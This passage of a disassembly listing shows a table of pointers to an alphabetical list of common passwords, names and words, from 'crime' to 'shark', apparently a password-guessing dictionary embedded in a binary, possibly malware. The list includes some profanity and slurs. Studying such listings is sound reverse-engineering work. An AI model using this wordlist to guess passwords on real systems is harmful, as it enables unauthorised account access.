		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
off_430050	dd offset aEddie	; DATA XREF: ___:00427B70o
					; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
off_43005C	dd offset aEdit		; DATA XREF: ___:off_427A0Co
					; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
